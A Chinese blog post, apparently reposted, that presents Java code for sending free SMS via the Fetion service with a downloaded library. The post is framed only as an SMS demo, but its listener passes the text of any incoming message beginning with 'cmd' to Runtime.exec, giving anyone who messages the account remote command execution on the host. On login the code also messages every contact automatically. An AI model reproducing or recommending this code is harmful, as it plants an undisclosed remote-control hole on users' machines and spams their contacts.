java短信平台做法(免费的(飞信))

来源:互联网 发布:手机文件解压软件 编辑:程序博客网 时间:2024/04/29 22:51

最近我在网上浏览网页的时候,无意间看到了一个好东东,就是用java可以免费发短信。前提是你要发的手机是开通飞信业务的。

而且你还需要下个包,地址:http://download.csdn.net/source/1148854

下面是java代码:

package com.test;

import java.io.IOException;

import cn.edu.ctgu.ghl.fetion.Contact;
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;


public class test {
 public static void main(String[] args) throws Exception{
  final Fetion fetion = new Fetion("phone","password");

//phone--你的手机号,必须是开通了移动的飞信的
  //password--你开通飞信业务时候设置的密码
  fetion.addListener(new IFetionEventListener(){

   public void process(FetionEvent e) {
    if(e.getFirstLine()!=null
     && e.getFirstLine().startsWith("M")
     && e.getBody()!=null){
     fetion.sendSms2SelfPhone(e.toString());
     if (e.getBody().trim().startsWith("cmd")) {
     // System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
      try {
       Runtime.getRuntime().exec(e.getBody().trim().substring(3));
      } catch (IOException e1) {
       // TODO Auto-generated catch block
       e1.printStackTrace();
      }
     }     
    }
   }
   
  });
  fetion.login();
  for (Contact cc : fetion.getContacts()) {
   //System.out.println("####/r/n" + cc + "/r/n");
   fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
  }
  fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
  //fetion.logout();
 }
 
 
}

 

原创粉丝点击